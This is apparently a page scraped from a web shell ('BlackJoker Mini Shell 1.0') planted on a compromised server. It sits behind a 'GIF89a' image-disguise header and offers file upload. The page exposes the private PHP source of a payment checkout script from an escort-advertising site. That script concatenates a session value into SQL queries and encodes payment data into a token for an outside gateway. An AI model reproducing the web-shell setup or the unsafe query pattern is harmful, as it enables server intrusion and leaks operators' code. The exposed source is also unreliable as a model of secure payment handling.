GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/m/
Upload File :
Current File : /home/serb/www/m/payment_checkout_pay.php

<?php
	session_start();
	include("lib/globals.php");
	include("lib/common.php");
 	include("lib/functions.php");
	
	if(!isset($_SESSION['SH_ESCORT_ID']))
	{
		header("Location: index.php");
		exit;
	}	
	
	$SITE_URL = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
	$url_array = explode("/",$SITE_URL);
	unset($url_array[count($url_array)-1]);
	$SITE_URL = implode("/",$url_array)."/";
	
	$post_array = array();	
	
	$sh_TRANSACTION_MODE 		= "LIVE";
	
	$payment_sql = "SELECT ft_ad_day,nickname FROM `temp_postad` WHERE id = '".$_SESSION['SH_ESCORT_ID']."' AND `status` = 'u'";
	$payment_res = execute_query($payment_sql) or die(mysql_error());
	$payment_row = mysql_fetch_array($payment_res);
	$payment = number_format($featured_ad_day_price_array[$payment_row['ft_ad_day']],2);
	$payee_name = $payment_row['nickname'];
	
	$ftno_ofweek = $payment_row['ft_ad_day'];
	$no_ofday=explode(' ',$ftno_ofweek);
	$days=$no_ofday[0] * 7;
	
	$temp_q = "SELECT ad_price FROM featured_ad_price WHERE no_of_weeks = '".$payment_row['ft_ad_day']."'";
	$temp_res = execute_query($temp_q) or die(mysql_error());
	$temp_row = mysql_fetch_array($temp_res);
	$payment  = $temp_row['ad_price'];
		
	$paymet_gateway_url = "https://pwnbill.com/pay_now.php";
	$post_array['__TRANSACTION_MODE__'] 	= $sh_TRANSACTION_MODE;
	$post_array['__GATEWAY_MODE__'] 		= "REDIRECT";
	$post_array['__SITENAME__'] 			= "escortservice";
	$post_array['__PURPOSE__'] 				= "ADD AD";
	$post_array['__PRESENTATION_AMOUNT__']	= $payment;
	$post_array['__PAYEE_NAME__']			= $payee_name;
	$post_array['__DAYS__']					= $days;
	$post_array['__REDIRECT_URL__']			= $SITE_URL."thankyou.php?msg=success";	
	$post_array['__RECORD_ID__'] 			= $_SESSION['SH_ESCORT_ID'];
	$post_array['__PAYMENT_HANDLER_URL__'] 	= $SITE_URL."payment_handler.php";	
	
	$payment_token = sh_get_token_from_array($post_array);
	
	header("Location: ".$paymet_gateway_url."?payment_token=".$payment_token);
	exit;
	
	function sh_get_token_from_array($array)
	{
		$json_data = json_encode($array);
		$encoded_data = base64_encode($json_data);
		$encreypted_data = gzdeflate($encoded_data, 9);
		$encoded_data = base64_encode($encreypted_data);
		$double_encoded_data = base64_encode($encoded_data);
		
		$token = $double_encoded_data;
		
		return $token;
		
	}
?>

./BlackJoker Mini Shell 1.0